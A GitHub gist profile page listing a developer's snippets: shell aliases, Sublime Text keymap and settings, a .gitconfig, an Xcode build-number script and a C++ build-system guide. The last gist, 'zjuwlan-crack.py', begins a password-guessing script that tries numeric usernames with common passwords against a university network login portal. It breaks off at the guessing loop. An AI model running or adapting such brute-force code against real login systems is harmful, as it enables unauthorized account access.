Skip to content

Instantly share code, notes, and snippets.

View xhacker's full-sized avatar
🌀

柳东原 · Dongyuan Liu xhacker

🌀
View GitHub Profile
@xhacker
xhacker / .zshrc
Last active August 29, 2015 14:08
Aliases
alias cp="rsync -avrP --progress"
alias aria2c="aria2c -s 16 -x 16 -k 1M"
alias nl="sudo lsof -i | grep -i listen"
@xhacker
xhacker / Linux.sublime-keymap
Last active August 29, 2015 14:06
Mac-like Sublime Text keymap for Linux
[
{ "keys": ["ctrl+v"], "command": "paste_and_indent" },
{ "keys": ["ctrl+shift+v"], "command": "paste" },
{ "keys": ["ctrl+a"], "command": "move_to", "args": {"to": "bol", "extend": false} },
{ "keys": ["ctrl+e"], "command": "move_to", "args": {"to": "eol", "extend": false} },
{ "keys": ["ctrl+d"], "command": "right_delete" },
{ "keys": ["ctrl+k"], "command": "run_macro_file", "args": {"file": "res://Packages/Default/Delete to Hard EOL.sublime-macro"} },
{ "keys": ["ctrl+shift+a"], "command": "select_all" }
]
@xhacker
xhacker / .gitconfig
Last active August 29, 2015 14:06
.gitconfig
[user]
name = Xhacker Liu
email = liu.dongyuan@gmail.com
[core]
editor = nano
excludesfile = /Users/xhacker/.gitignore_global
quotepath = false
pager = less -x4
[credential]
helper = osxkeychain
@xhacker
xhacker / Preferences.sublime-settings
Created September 9, 2014 06:32
Sublime Settings
{
"color_scheme": "Packages/Dayle Rees Color Schemes/sublime/peacock.tmTheme",
"detect_indentation": true,
"dictionary": "Packages/Language - English/en_US.dic",
"ensure_newline_at_eof_on_save": true,
"font_face": "Menlo",
"font_size": 16,
"highlight_line": true,
"ignored_packages":
[
if [ "${CONFIGURATION}" = "Release" ]; then
path="$(pwd)/${INFOPLIST_FILE}"
build=$(defaults read $path CFBundleVersion)
defaults write $path CFBundleVersion $((build+1))
fi
@xhacker
xhacker / build-and-run-cpp-st3.md
Last active October 8, 2020 10:52
Build and run C++ file in Sublime Text 3

How to Install

  • Tools → Build System → New build system...
  • Paste the content below
{
    "cmd": ["g++ ${file} -o ${file_path}/${file_base_name} && echo 'Build Finished' && ${file_path}/${file_base_name}"],
    "shell" : true
}
  • Save as C++ Build and Run.sublime-build
@xhacker
xhacker / zjuwlan-crack.py
Last active December 21, 2015 20:29
ZJUWLAN Password
import requests
url = "https://net.zju.edu.cn/cgi-bin/srun_portal"
number_range = (0, 0)
if __name__ == "__main__":
for username in xrange(number_range[0], number_range[1]):
passwords = [username, "123456", "12345678"]
for password in passwords: